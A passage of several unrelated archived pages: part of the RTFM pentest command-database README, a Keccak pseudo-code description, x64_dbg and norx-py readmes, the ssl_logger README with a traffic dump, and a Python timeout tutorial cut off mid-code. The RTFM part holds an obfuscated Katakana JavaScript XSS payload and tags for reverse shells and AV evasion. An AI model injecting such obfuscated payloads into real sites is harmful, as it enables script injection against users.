    Enter a reference (blank for end) : https://github.com/aemkei/katakana.js
    Enter a reference (blank for end) : 
    [OK]: Added Rows :1
    [OK]: Added tags
    [OK]: Added tags
    [OK]: Added a new Ref and a refmap
    Enter your command    : ^C
    
    Cancelled.
    
    
[/code]

After committing to your local database I would be extremely grateful if you
would open a pull request so that I am able to continue to add to the
database. This is really easy, and done through the use of an output format
'pd' \(print dump\). The easiest way is by searching for commands added by
yourself on today, then opening a git pull request, for the above example:

[code]

    19:43:root:rtfm: ./rtfm.py -a Innes -A now -pd
    セ=ア[ミ=ウ],ハ=++ミ+ウ,ヘ=ホ[ミ+ハ],ア[ヘ+=ホ[ウ]+(ホ.ホ+ホ)[ウ]+ネ[ハ]+ヌ+セ+ア[ミ]+ヘ+ヌ+ホ[ウ]+セ][ヘ](ネ[ウ]+ネ[ミ]+ア[ハ]+セ+ヌ+"(ウ)")()
    Script alert(1) using Katakana 
    Innes
    EOC
    web application
    XSS
    EOT
    https://github.com/aemkei/katakana.js
    EOR
    
[/code]

The above is the correct format for the updates, so you can add a file and I
can either merge into one large update file, or keep it as a separate file\!

# Output Formats

There is also a number of output options, such as copy any paste, pretty, wiki
and update:

[code]

    23:15:root:snips: ./rtfm.py -c rtfm -p p
    ++++++++++++++++++++++++++++++
    RTFM
    
    helpception
    ++++++++++++++++++++++++++++++
    
    23:15:root:snips: ./rtfm.py -c rtfm -p P
    +-------------+-------------+
    | Command ID  | 0           |
    +-------------+-------------+
    | Command     | RTFM        |
    |             |             |
    | Comment     | helpception |
    | Tags        | Linux       |
    | Date added  | 2017-01-30  |
    +-------------+-------------+
    
    23:15:root:snips: ./rtfm.py -c rtfm -p w
    = Helpception, search for a command with two tags and a comment = 
     rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P
    linux
    https://github.com/leostat/rtfm
    
    
[/code]

The update format is to make it easy to open pull requests for new commands\!

[code]

    rtfm.py -pd -c rtfm
    rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P
    Helpception, search for a command with two tags and a comment
    Innes
    EOC
    linux
    EOT
    https://github.com/leostat/rtfm
    https://necurity.co.uk/osprog/2017-02-27-RTFM-Pythonized/index.html
    EOR
    
[/code]

# Older way

Should you wish to add say lots of commands at once, then worry about tags and
references later you could do call RTFM with '-i c', using an empty response
to stop processing commands:

[code]

    $ rtfm.py -i c
    Enter your command    : Your Command
    Enter you comment     : Your Comment 
    Enter Author          : Your Name 
    Enter your command    : Command Two 
    Enter you comment     : Comment Two 
    Enter Author          : Your Name 
    Enter your command    : 
    Enter you comment     : 
    Enter Author          : 
    [OK]: Added Rows : 2
    [OK]: New Top ID : 491 | Number of CMD's Added : 2
    
[/code]

Next, add the required tags into the inserted with either '-i t', which adds
tags to a single command, or '-i ta' which adds tags to all commands missing
tags:

[code]

    $ rtfm.py -i t
    What CMD are we adding tags too? : 491
    Enter a tag (blank for none) : Test
    Enter a tag (blank for none) : Second Tag
    Enter a tag (blank for none) : 
    [OK]: Added tags
    [OK]: Added a new tag and a tagmap
    
[/code]

Similarly , you now have to add referances to the commands you have just
added, '-i r',

[code]

    $ rtfm.py -i r
    What CmdID are we adding refs to? : 491
    Enter a reference (blank for non) : http://bing.com 
    Enter a reference (blank for non) : 
    [OK]: Added a new Ref and a refmap
    
[/code]

There is also a '-i ta' which adds tags to all commands which are missing
them, this was used for the DB seeding more than anything\!

[code]

    $ rtfm: ./rtfm.py -i ta
    [OK]: This tags everything without tags,  mainly for DB init
    [OK]: Enter blank line to commit changes
    [WARNING]: Number left :22
    [OK]: Command ID : 467
    [OK]:         Command    : Test Command
    [OK]:         Comment    : My comment
    [OK]: v These are known tags
     | linux |  | bash |  | text manipulation |  | cisco |  | networking |  | loop |  | pivoting |  | files |  | passwords |  | enumeration |  | user information |  | interesting |  | scanning |  | hp |  | brute |  | http |  | web application |  | XSS |  | cookies |  | metasploit |  | certificates |  | stealth |  | smb |  | MitM |  | dns |  | package management |  | reverse shells |  | Windows |  | perl |  | python |  | php |  | ruby |  | sql injection |  | mysql |  | shell |  | mssql |  | Oracle |  | users |  | wireless |  | wifi |  | configuration |  | av evasion |  | powershell |  | memory |  | impacket |  | filesystem |  | IIS |  | process management |  | privilege escalation |  | remote command shell |  | hashes |  | recon |  | cracking |  | nessus |  | subnets |  | packet capture |  | reference |  | web address |  | java |  | solaris |  | forensics |  | ldap |  | Anti Virus |  | GIT |  | interesting  |  | Cloud |  | RDP |  | shells |  | encyption |  | Test |  | Second Tag | 
     == == ONE TAG A LINE == == 
    
    Enter a tag (blank for non) : 
    
[/code]

# Deleting content

This is simple enough, 'tis just using: `rtfm.py --delete 1`

# Debugging

Throughout the entire program, I have tried to add 'debug' calls '-d', these
show you what the SQL is doing, what is being passed around.

# Version 0.9.9 TODO

  * Central way of adding, removing , tags
  * Python three compat \(See push\)
  * Fix the darn typos in the python program

# Version 1.0.0 TODO

  * Add a template system
  * Add a spawn shell system

# Version 2

  * Coming way in the future
  * Better text support
  * nicer updating
  * Python 3

# The TODO list

  * The 'important' functionality is present, but still lots of work to do
  * Changes are happening on the DB, which means it may 'break' from time to time, just do a git pull to fix

## Fixes:

  * Probably should use prepared statements: local so don't care
  * Check for dupe tags
  * Central tag updates

## Pipeline:

  * Template engine\(autofill \[user\] : A user = innes, pass = password, attacker = 1.1.1.1, victim = 2.2.2.2
  * Make code more sane and betterize the layout

## Future:

  * Cool Thing mode
  * Fix the typos

# Credits

The people that deserve the credits will be in the reference table of the DB.
They are the ones doing the work\!

# Thanks

Thanks in no particular order :\) :

[code]

    @VC : Fixing many a bug!
    @Rezkon : Suggesting new features and making the layout more sane
    @David : Being the beta tester and finding all the bugs!
    @Matthew S : Berating me into making the DB so much better and putting up with the n00b db questions
    @ECSC :  Allowing me to publish! Go check them out : https://ecsc.co.uk
    @Fabien : 'Just run FSCK in dry run mode' . . . ;D
    
[/code]

  

# The Keccak sponge function family

**Created:**| _9/27/2013 10:36:08 AM_  
---|---  
**Updated:**| _9/27/2013 10:36:08 AM_  
**Author:**| __  
**Tags:**| _hashes crypto programming_  
  

# **T** he Keccak sponge function family****

## Specifications summary****

Keccak \(pronounced \[kɛtʃak\], like “ketchak”\) is a family of hash functions
that has been submitted as candidate to NIST's hash algorithm competition
\(SHA-3 \)**.** The text below is a quick description of Keccak using pseudo-
code**.** In no way should this introductory text be considered as a formal
and reference description of Keccak**.** Instead the goal here is to present
Keccak with emphasis on readability and clarity**.** For a more formal
description, the reader is invited to read the reference specifications in
\[1\]**.**

### Structure of Keccak****

Keccak is a family of hash functions that is based on the sponge construction
, and hence is a sponge function family**.** In Keccak, the underlying
function is a permutation chosen in a set of seven Keccak-_f_ permutations,
denoted Keccak-_f_\[_b_\], where _b_ ∈ \{25, 50, 100, 200, 400, 800, 1600\} is
the width of the permutation**.** The width of the permutation is also the
width of the state in the sponge construction**.**

The state is organized as an array of 5×5 lanes, each of length _w_ ∈ \{1, 2,
4, 8, 16, 32, 64\} \(_b_ =25 _w_\)**.** When implemented on a 64-bit
processor, a lane of Keccak-_f_\[1600\] can be represented as a 64-bit CPU
word**.**

We obtain the Keccak\[_r_ ,_c_\] sponge function, with parameters capacity _c_
and bitrate _r_ , if we apply the sponge construction to Keccak-_f_\[_r_
+_c_\] and by applying a specific padding to the message input**.**

### Pseudo-code description****

We first start with the description of Keccak-_f_ in the pseudo-code
below**.** The number of rounds _n r_ depends on the permutation width, and is
given by _n r_ = 12+2 _l_ , where 2 _l_ = _w_**.** This gives 24 rounds for
Keccak-_f_\[1600\]**.**

[code]

    Keccak-_f_[b](A) {
      forall i in 0… _n_ r-1
        A = Round[b](A, RC[i])
      return A
    }
[/code]

[code]

    Round[b](A,RC) {
      θ step
      C[x] = A[x,0] xor A[x,1] xor A[x,2] xor A[x,3] xor A[x,4],   forall x in 0…4
      D[x] = C[x-1] xor rot(C[x+1],1),                             forall x in 0…4
      A[x,y] = A[x,y] xor D[x],                          forall (x,y) in (0…4,0…4)
    
      ρ and π steps
      B[y,2*x+3*y] = rot(A[x,y], r[x,y]),                forall (x,y) in (0…4,0…4)
    
      χ step
      A[x,y] = B[x,y] xor ((not B[x+1,y]) and B[x+2,y]), forall (x,y) in (0…4,0…4)
    
      ι step
      A[0,0] = A[0,0] xor RC
    
      return A
    }
[/code]

In the pseudo-code above, the following conventions are in use**.** All the
operations on the indices are done modulo 5**.** `A` denotes the complete
permutation state array, and `A[x,y]` denotes a particular lane in that
state**.** `B[x,y]`, `C[x]`, `D[x]` are intermediate variables**.** The
constants `r[x,y]` are the rotation offsets \(see Table 2\), while `RC[i]` are
the round constants \(see Table 1\)**.** `**rot**(W,r)` is the usual bitwise
cyclic shift operation, moving bit at position _i_ into position _i_ +`r`
\(modulo the lane size\)**.**

Then, we present the pseudo-code for the Keccak\[_r_ ,_c_\] sponge function,
with parameters capacity _c_ and bitrate _r_**.** The description below is
restricted to the case of messages that span a whole number of bytes**.** For
messages with a number of bits not dividable by 8, we refer to the
specifications \[1\] for more details**.** Also, we assume for simplicity that
_r_ is a multiple of the lane size; this is the case for the SHA-3 candidate
parameters in \[2\]**.**

[code]

    Keccak[r,c](M) {
      Initialization and padding
      S[x,y] = 0,                               forall (x,y) in (0…4,0…4)
      P = M || 0x01 || 0x00 || … || 0x00
      P = P xor (0x00 || … || 0x00 || 0x80)
    
      Absorbing phase
      forall block Pi in P
        S[x,y] = S[x,y] xor Pi[x+5*y],          forall (x,y) such that x+5*y < r/w
        S = Keccak-_f_[r+c](S)
    
      Squeezing phase
      Z = empty string
      while output is requested
        Z = Z || S[x,y],                        forall (x,y) such that x+5*y < r/w
        S = Keccak-_f_[r+c](S)
    
      return Z
    }
[/code]

In the pseudo-code above, `S` denotes the state as an array of lanes**.** The
padded message `P` is organised as an array of blocks `Pi`, themselves
organized as arrays of lanes**.** The `||` operator denotes the usual byte
string concatenation**.**

### Round constants****

The round constants `RC[i]` are given in the table below for the maximum lane
size 64**.** For smaller sizes, they are simply truncated. The formula can be
found in \[1\]**.**

`RC[ 0]`| `0x0000000000000001`| `RC[12]`| `0x000000008000808B`  
---|---|---|---  
`RC[ 1]`| `0x0000000000008082`| `RC[13]`| `0x800000000000008B`  
`RC[ 2]`| `0x800000000000808A`| `RC[14]`| `0x8000000000008089`  
`RC[ 3]`| `0x8000000080008000`| `RC[15]`| `0x8000000000008003`  
`RC[ 4]`| `0x000000000000808B`| `RC[16]`| `0x8000000000008002`  
`RC[ 5]`| `0x0000000080000001`| `RC[17]`| `0x8000000000000080`  
`RC[ 6]`| `0x8000000080008081`| `RC[18]`| `0x000000000000800A`  
`RC[ 7]`| `0x8000000000008009`| `RC[19]`| `0x800000008000000A`  
`RC[ 8]`| `0x000000000000008A`| `RC[20]`| `0x8000000080008081`  
`RC[ 9]`| `0x0000000000000088`| `RC[21]`| `0x8000000000008080`  
`RC[10]`| `0x0000000080008009`| `RC[22]`| `0x0000000080000001`  
`RC[11]`| `0x000000008000000A`| `RC[23]`| `0x8000000080008008`  
Table 1: The round constants `RC[i]`

### Rotation offsets****

The rotation offsets `r[x,y]` are given in the table below**.** The formula
can be found in \[1\].

| `x` = 3| `x` = 4| `x` = 0| `x` = 1| `x` = 2  
---|---|---|---|---|---  
`y` = 2| 25| 39| 3| 10| 43  
`y` = 1| 55| 20| 36| 44| 6  
`y` = 0| 28| 27| 0| 1| 62  
`y` = 4| 56| 14| 18| 2| 61  
`y` = 3| 21| 8| 41| 45| 15  
Table 2: the rotation offsets

### References****

\[1\] G**.** Bertoni, J. Daemen, M. Peeters and G. Van Assche, The Keccak
reference, 2011

\[2\] G**.** Bertoni, J. Daemen, M. Peeters and G. Van Assche, The Keccak
SHA-3 submission, 2011

****

# x64\_dbg

**Created:**| _7/28/2014 2:39:10 PM_  
---|---  
**Updated:**| _7/28/2014 2:39:10 PM_  
**Author:**| __  
**Tags:**| _Debugging security tools reversing windows-environment_  
  

# x64\_dbg

#  An open-source x64/x32 debugger for windows.

Download » Source »

  
  

<img src='img/Temp2_10750.png' alt='interface' />

A familiar, yet new interface.

## Features

  * Open-source
  * Intuitive and familiar, yet new user interface
  * C-like expression parser
  * Full-featured debugging of DLL and EXE files \(TitanEngine\)
  * IDA-like sidebar with jump arrows
  * IDA-like instruction token highlighter \(highlight registers etc.\)
  * Memory map
  * Symbol view
  * Thread view
  * Content-sensitive register view
  * Fully customizable color scheme
  * Dynamically recognize modules and strings
  * Import reconstructor integrated \(Scylla\)
  * Fast disassembler \(BeaEngine\)
  * User database \(JSON\) for comments, labels, bookmarks etc.
  * Plugin support with growing API
  * Extendable, debuggable scripting language for automation
  * Multi-datatype memory dump
  * Basic debug symbol \(PDB\) support
  * Dynamic stack view
  * Built-in assembler \(XEDParse\)
  * View your patches and save them to disk
  * Built-in hex editor
  * Find patterns in memory

<img src='img/Temp2_10751.png' />

# Daeinar/norx-py · GitHub

**Created:**| _12/5/2014 10:35:42 AM_  
---|---  
**Updated:**| _12/5/2014 10:35:42 AM_  
**Author:**| __  
**Tags:**| __  
  

# Daeinar/norx-py · GitHub

###  Python2 implementation of NORX.

NORX is a new authenticated encryption scheme with support for associated data
\(AEAD\) and a first round candidate in CAESAR. The specification of NORX can
be found here.

####  License

The NORX source code is released under the CC0 license. The full license text
is included in the file `LICENSE`.

####  Usage & Examples

See main.py.

####  Warning

#####  The authors are confident that NORX is secure, but nevertheless the
cipher still lacks extensive analysis. So don't use it in your applications,
yet.

# google/ssl\_logger

**Created:**| _7/17/2017 11:35:20 AM_  
---|---  
**Updated:**| _7/17/2017 11:35:20 AM_  
**Author:**| __  
**Tags:**| _iDS/iPS ssl_  
  

  

# ssl\_logger

Decrypts and logs a process's SSL traffic.

The functionality offered by _ssl\_logger_ is intended to mimic Echo Mirage's
SSL logging functionality on Linux and macOS.

## Basic Usage

` python ssl_logger.py [-pcap <path>] [-verbose] <process name | process id> `
Arguments:

[code]

    -pcap <path>                 Name of PCAP file to write
    -verbose                     Show verbose output
    <process name | process id>  Process whose SSL calls to log
    
[/code]

Examples:

[code]

    ssl_logger.py -pcap ssl.pcap openssl
    ssl_logger.py -verbose 31337
    ssl_logger.py -pcap log.pcap -verbose wget
    
[/code]

## Full Example

[code]

    geffner@ubuntu:~$ # Make a local pipe for input to our openssl client
    geffner@ubuntu:~$ mkfifo pipe
    
    geffner@ubuntu:~$ # Create our openssl client, which will receive input from our pipe
    geffner@ubuntu:~$ openssl s_client -ign_eof -connect example.org:443 > /dev/null 2> /dev/null < pipe &
    [1] 98954
    
    geffner@ubuntu:~$ # Begin writing the request to our pipe
    geffner@ubuntu:~$ printf "GET / HTTP/1.0\nHost:example.org\n" > pipe
    
    geffner@ubuntu:~$ # Begin logging the SSL traffic for our openssl client process
    geffner@ubuntu:~$ python ssl_logger.py -verbose 98954 &
    [2] 98962
    Press Ctrl+C to stop logging.
    
    geffner@ubuntu:~$ # Write the final line-feed to our pipe to complete the HTTP request
    geffner@ubuntu:~$ printf "\n" > pipe
    SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8
    [SSL_write] 100.97.20.44:45836 --> 93.184.216.34:443
    00000000: 0A                                                .
    
    SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8
    [SSL_read] 93.184.216.34:443 --> 100.97.20.44:45836
    00000000: 48 54 54 50 2F 31 2E 30  20 32 30 30 20 4F 4B 0D  HTTP/1.0 200 OK.
    00000010: 0A 41 63 63 65 70 74 2D  52 61 6E 67 65 73 3A 20  .Accept-Ranges: 
    00000020: 62 79 74 65 73 0D 0A 43  61 63 68 65 2D 43 6F 6E  bytes..Cache-Con
    00000030: 74 72 6F 6C 3A 20 6D 61  78 2D 61 67 65 3D 36 30  trol: max-age=60
    00000040: 34 38 30 30 0D 0A 43 6F  6E 74 65 6E 74 2D 54 79  4800..Content-Ty
    00000050: 70 65 3A 20 74 65 78 74  2F 68 74 6D 6C 0D 0A 44  pe: text/html..D
    00000060: 61 74 65 3A 20 54 68 75  2C 20 32 32 20 4A 75 6E  ate: Thu, 22 Jun
    00000070: 20 32 30 31 37 20 31 35  3A 31 36 3A 35 32 20 47   2017 15:16:52 G
    00000080: 4D 54 0D 0A 45 74 61 67  3A 20 22 33 35 39 36 37  MT..Etag: "35967
    00000090: 30 36 35 31 22 0D 0A 45  78 70 69 72 65 73 3A 20  0651"..Expires: 
    000000A0: 54 68 75 2C 20 32 39 20  4A 75 6E 20 32 30 31 37  Thu, 29 Jun 2017
    000000B0: 20 31 35 3A 31 36 3A 35  32 20 47 4D 54 0D 0A 4C   15:16:52 GMT..L
    000000C0: 61 73 74 2D 4D 6F 64 69  66 69 65 64 3A 20 46 72  ast-Modified: Fr
    000000D0: 69 2C 20 30 39 20 41 75  67 20 32 30 31 33 20 32  i, 09 Aug 2013 2
    000000E0: 33 3A 35 34 3A 33 35 20  47 4D 54 0D 0A 53 65 72  3:54:35 GMT..Ser
    000000F0: 76 65 72 3A 20 45 43 53  20 28 72 68 76 2F 38 31  ver: ECS (rhv/81
    00000100: 38 46 29 0D 0A 56 61 72  79 3A 20 41 63 63 65 70  8F)..Vary: Accep
    00000110: 74 2D 45 6E 63 6F 64 69  6E 67 0D 0A 58 2D 43 61  t-Encoding..X-Ca
    00000120: 63 68 65 3A 20 48 49 54  0D 0A 43 6F 6E 74 65 6E  che: HIT..Conten
    00000130: 74 2D 4C 65 6E 67 74 68  3A 20 31 32 37 30 0D 0A  t-Length: 1270..
    00000140: 43 6F 6E 6E 65 63 74 69  6F 6E 3A 20 63 6C 6F 73  Connection: clos
    00000150: 65 0D 0A 0D 0A                                    e....
    
    SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8
    [SSL_read] 93.184.216.34:443 --> 100.97.20.44:45836
    00000000: 3C 21 64 6F 63 74 79 70  65 20 68 74 6D 6C 3E 0A  <!doctype html>.
    00000010: 3C 68 74 6D 6C 3E 0A 3C  68 65 61 64 3E 0A 20 20  <html>.<head>.  
    00000020: 20 20 3C 74 69 74 6C 65  3E 45 78 61 6D 70 6C 65    <title>Example
    00000030: 20 44 6F 6D 61 69 6E 3C  2F 74 69 74 6C 65 3E 0A   Domain</title>.
    00000040: 0A 20 20 20 20 3C 6D 65  74 61 20 63 68 61 72 73  .    <meta chars
    00000050: 65 74 3D 22 75 74 66 2D  38 22 20 2F 3E 0A 20 20  et="utf-8" />.  
    00000060: 20 20 3C 6D 65 74 61 20  68 74 74 70 2D 65 71 75    <meta http-equ
    00000070: 69 76 3D 22 43 6F 6E 74  65 6E 74 2D 74 79 70 65  iv="Content-type
    00000080: 22 20 63 6F 6E 74 65 6E  74 3D 22 74 65 78 74 2F  " content="text/
    00000090: 68 74 6D 6C 3B 20 63 68  61 72 73 65 74 3D 75 74  html; charset=ut
    000000A0: 66 2D 38 22 20 2F 3E 0A  20 20 20 20 3C 6D 65 74  f-8" />.    <met
    000000B0: 61 20 6E 61 6D 65 3D 22  76 69 65 77 70 6F 72 74  a name="viewport
    000000C0: 22 20 63 6F 6E 74 65 6E  74 3D 22 77 69 64 74 68  " content="width
    000000D0: 3D 64 65 76 69 63 65 2D  77 69 64 74 68 2C 20 69  =device-width, i
    000000E0: 6E 69 74 69 61 6C 2D 73  63 61 6C 65 3D 31 22 20  nitial-scale=1" 
    000000F0: 2F 3E 0A 20 20 20 20 3C  73 74 79 6C 65 20 74 79  />.    <style ty
    00000100: 70 65 3D 22 74 65 78 74  2F 63 73 73 22 3E 0A 20  pe="text/css">. 
    00000110: 20 20 20 62 6F 64 79 20  7B 0A 20 20 20 20 20 20     body {.      
    00000120: 20 20 62 61 63 6B 67 72  6F 75 6E 64 2D 63 6F 6C    background-col
    00000130: 6F 72 3A 20 23 66 30 66  30 66 32 3B 0A 20 20 20  or: #f0f0f2;.   
    00000140: 20 20 20 20 20 6D 61 72  67 69 6E 3A 20 30 3B 0A       margin: 0;.
    00000150: 20 20 20 20 20 20 20 20  70 61 64 64 69 6E 67 3A          padding:
    00000160: 20 30 3B 0A 20 20 20 20  20 20 20 20 66 6F 6E 74   0;.        font
    00000170: 2D 66 61 6D 69 6C 79 3A  20 22 4F 70 65 6E 20 53  -family: "Open S
    00000180: 61 6E 73 22 2C 20 22 48  65 6C 76 65 74 69 63 61  ans", "Helvetica
    00000190: 20 4E 65 75 65 22 2C 20  48 65 6C 76 65 74 69 63   Neue", Helvetic
    000001A0: 61 2C 20 41 72 69 61 6C  2C 20 73 61 6E 73 2D 73  a, Arial, sans-s
    000001B0: 65 72 69 66 3B 0A 20 20  20 20 20 20 20 20 0A 20  erif;.        . 
    000001C0: 20 20 20 7D 0A 20 20 20  20 64 69 76 20 7B 0A 20     }.    div {. 
    000001D0: 20 20 20 20 20 20 20 77  69 64 74 68 3A 20 36 30         width: 60
    000001E0: 30 70 78 3B 0A 20 20 20  20 20 20 20 20 6D 61 72  0px;.        mar
    000001F0: 67 69 6E 3A 20 35 65 6D  20 61 75 74 6F 3B 0A 20  gin: 5em auto;. 
    00000200: 20 20 20 20 20 20 20 70  61 64 64 69 6E 67 3A 20         padding: 
    00000210: 35 30 70 78 3B 0A 20 20  20 20 20 20 20 20 62 61  50px;.        ba
    00000220: 63 6B 67 72 6F 75 6E 64  2D 63 6F 6C 6F 72 3A 20  ckground-color: 
    00000230: 23 66 66 66 3B 0A 20 20  20 20 20 20 20 20 62 6F  #fff;.        bo
    00000240: 72 64 65 72 2D 72 61 64  69 75 73 3A 20 31 65 6D  rder-radius: 1em
    00000250: 3B 0A 20 20 20 20 7D 0A  20 20 20 20 61 3A 6C 69  ;.    }.    a:li
    00000260: 6E 6B 2C 20 61 3A 76 69  73 69 74 65 64 20 7B 0A  nk, a:visited {.
    00000270: 20 20 20 20 20 20 20 20  63 6F 6C 6F 72 3A 20 23          color: #
    00000280: 33 38 34 38 38 66 3B 0A  20 20 20 20 20 20 20 20  38488f;.        
    00000290: 74 65 78 74 2D 64 65 63  6F 72 61 74 69 6F 6E 3A  text-decoration:
    000002A0: 20 6E 6F 6E 65 3B 0A 20  20 20 20 7D 0A 20 20 20   none;.    }.   
    000002B0: 20 40 6D 65 64 69 61 20  28 6D 61 78 2D 77 69 64   @media (max-wid
    000002C0: 74 68 3A 20 37 30 30 70  78 29 20 7B 0A 20 20 20  th: 700px) {.   
    000002D0: 20 20 20 20 20 62 6F 64  79 20 7B 0A 20 20 20 20       body {.    
    000002E0: 20 20 20 20 20 20 20 20  62 61 63 6B 67 72 6F 75          backgrou
    000002F0: 6E 64 2D 63 6F 6C 6F 72  3A 20 23 66 66 66 3B 0A  nd-color: #fff;.
    00000300: 20 20 20 20 20 20 20 20  7D 0A 20 20 20 20 20 20          }.      
    00000310: 20 20 64 69 76 20 7B 0A  20 20 20 20 20 20 20 20    div {.        
    00000320: 20 20 20 20 77 69 64 74  68 3A 20 61 75 74 6F 3B      width: auto;
    00000330: 0A 20 20 20 20 20 20 20  20 20 20 20 20 6D 61 72  .            mar
    00000340: 67 69 6E 3A 20 30 20 61  75 74 6F 3B 0A 20 20 20  gin: 0 auto;.   
    00000350: 20 20 20 20 20 20 20 20  20 62 6F 72 64 65 72 2D           border-
    00000360: 72 61 64 69 75 73 3A 20  30 3B 0A 20 20 20 20 20  radius: 0;.     
    00000370: 20 20 20 20 20 20 20 70  61 64 64 69 6E 67 3A 20         padding: 
    00000380: 31 65 6D 3B 0A 20 20 20  20 20 20 20 20 7D 0A 20  1em;.        }. 
    00000390: 20 20 20 7D 0A 20 20 20  20 3C 2F 73 74 79 6C 65     }.    </style
    000003A0: 3E 20 20 20 20 0A 3C 2F  68 65 61 64 3E 0A 0A 3C  >    .</head>..<
    000003B0: 62 6F 64 79 3E 0A 3C 64  69 76 3E 0A 20 20 20 20  body>.<div>.    
    000003C0: 3C 68 31 3E 45 78 61 6D  70 6C 65 20 44 6F 6D 61  <h1>Example Doma
    000003D0: 69 6E 3C 2F 68 31 3E 0A  20 20 20 20 3C 70 3E 54  in</h1>.    <p>T
    000003E0: 68 69 73 20 64 6F 6D 61  69 6E 20 69 73 20 65 73  his domain is es
    000003F0: 74 61 62 6C 69 73 68 65  64 20 74 6F 20 62 65 20  tablished to be 
    
    SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8
    [SSL_read] 93.184.216.34:443 --> 100.97.20.44:45836
    00000000: 75 73 65 64 20 66 6F 72  20 69 6C 6C 75 73 74 72  used for illustr
    00000010: 61 74 69 76 65 20 65 78  61 6D 70 6C 65 73 20 69  ative examples i
    00000020: 6E 20 64 6F 63 75 6D 65  6E 74 73 2E 20 59 6F 75  n documents. You
    00000030: 20 6D 61 79 20 75 73 65  20 74 68 69 73 0A 20 20   may use this.  
    00000040: 20 20 64 6F 6D 61 69 6E  20 69 6E 20 65 78 61 6D    domain in exam
    00000050: 70 6C 65 73 20 77 69 74  68 6F 75 74 20 70 72 69  ples without pri
    00000060: 6F 72 20 63 6F 6F 72 64  69 6E 61 74 69 6F 6E 20  or coordination 
    00000070: 6F 72 20 61 73 6B 69 6E  67 20 66 6F 72 20 70 65  or asking for pe
    00000080: 72 6D 69 73 73 69 6F 6E  2E 3C 2F 70 3E 0A 20 20  rmission.</p>.  
    00000090: 20 20 3C 70 3E 3C 61 20  68 72 65 66 3D 22 68 74    <p><a href="ht
    000000A0: 74 70 3A 2F 2F 77 77 77  2E 69 61 6E 61 2E 6F 72  tp://www.iana.or
    000000B0: 67 2F 64 6F 6D 61 69 6E  73 2F 65 78 61 6D 70 6C  g/domains/exampl
    000000C0: 65 22 3E 4D 6F 72 65 20  69 6E 66 6F 72 6D 61 74  e">More informat
    000000D0: 69 6F 6E 2E 2E 2E 3C 2F  61 3E 3C 2F 70 3E 0A 3C  ion...</a></p>.<
    000000E0: 2F 64 69 76 3E 0A 3C 2F  62 6F 64 79 3E 0A 3C 2F  /div>.</body>.</
    000000F0: 68 74 6D 6C 3E 0A                                 html>.
    
[/code]

## Dependencies

This program uses the frida framework to perform code injection.

Frida can be installed as follows: ` sudo pip install frida `

## TODO

  * Add support for processes that communicate via SSL without using libssl.
  * Allow user to run _ssl\_logger_ before starting the process to be logged.

## Disclaimer

This is not an official Google product.

  

# Python - Timeout a Function

**Created:**| _3/31/2011 8:57:18 AM_  
---|---  
**Updated:**| _3/31/2011 8:57:25 AM_  
**Author:**| __  
**Tags:**| _python programming_  
  

# Timeout a Function

The original idea for this comes from some Python tricks I randomly stumbled
across.

The idea is to have a general way to specify a maximum amount of time a
function is allowed to run. Consider for example, collecting input from the
user - you may give the user some time to enter input but if the time expires
you would like to assume some default input.

Let's start with code that asks the user for a name:

#### Example:

[code]

    import sys
    
    def get_name():
        print "Please enter a name: ",
        name = sys.stdin.readline()
        return name
    
    if __name__ == '__main__':
        name = get_name()
        print "Got: %s" % name,
    
    
[/code]

Let's now modify `get_name` by adding an alarm that trigers in 3 seconds. For
this purpose we are going to use Python's `signal` library.

#### Example:

[code]

    import sys
    import signal
    
    class TimeoutException(Exception): 
        pass 
    
    def get_name():
        def timeout_handler(signum, frame):
            raise TimeoutException()
    
        signal.signal(signal.SIGALRM, timeout_handler) 
        signal.alarm(3) # triger alarm in 3 seconds
    
        try: 
            print "Please enter a name: ",
            name = sys.stdin.readline()
        except TimeoutException:
            return "default value"
        return name
    
    if __name__ == '__main__':
        name = get_name()
        print "Got: %s" % name,
    
    
[/code]

The very first thing the example shows is defining our own exception class to
use with timeouts. We then see the definition of a timeout handler inside of
`get_name` which simply raises a`TimeoutException`. Next, we setup the alarm
and attempt to get the input from the user. If the alarm triggers before
`readline()` returns then the handler is invoked and an exception is raised.
At this point the `except` clause is executed and the function returns the
default value.

Before we go on to generalize this code, lets add a few more lines to clean up
after ourselves. If you look at the documentation for `signal` you will see
that `signal.signal` returns the previous handler. We should reset the handler
to the old one after our function is done and we should also make sure to
cancel our alarm if it doesn't trigger using `signal.alarm(0)`:

#### Example:

[code]

    import sys
    import signal
    
    class TimeoutException(Exception): 
        pass 
    
    def get_name():
        def timeout_handler(signum, frame):
            raise TimeoutException()
    
        old_handler = signal.signal(signal.SIGALRM, timeout_handler) 
        signal.alarm(3) # triger alarm in 3 seconds
    
        try: 
            print "Please enter a name: ",
            name = sys.stdin.readline()
        except TimeoutException:
            return "default value"
        finally:
            signal.signal(signal.SIGALRM, old_handler) 
    
        signal.alarm(0)
        return name
    
    if __name__ == '__main__':
        name = get_name()
        print "Got: %s" % name,
    
    
[/code]

We are now ready to proceed with generalizing this function timeout approach.
We want the final result to be a decorator which we could use with any
function as follows:

#### Example:

[code]

    @timeout(1, "default value")
    def get_name()
        ...
    
    
[/code]

This decorator would transform the function into another function which
returns the given default value after the specified amount of time. If the
time does  _not_ expire, it behaves normally.

Our function decorator definition will be a bit more complex since we want to
pass arguments to it \(the timeout time and default return value\). Basically,
the `timeout` function would take as parameters the timeout time and the
default return value and it would return another function
\(`timeout_function`\) which will expect as an argument another function \(in
our example that would be `get_time` which is passed automatically as part of
the decorator magic\). In turn,`timeout_function` will transform its argument
into yet another function which sets up the alarm and behaves as we described
earlier.

With all that said here's the code \(we've added another function that uses
`@timeout` for demonstration\):

#### Example:

[code]

    import sys
    import signal
    
    class TimeoutException(Exception): 
        pass 
    
    def timeout(timeout_time, default):
        def timeout_function(f):
            def f2(*args):
                def timeout_handler(signum, frame):
                    raise TimeoutException()
    
                old_handler = signal.signal(signal.SIGALRM, timeout_handler) 
                signal.alarm(timeout_time) # triger alarm in timeout_time seconds
                try: 
                    retval = f()
                except TimeoutException:
                    return default
                finally:
                    signal.signal(signal.SIGALRM, old_handler) 
                signal.alarm(0)
                return retval
            return f2
        return timeout_function
    
    @timeout(3, "default name")
    def get_name():
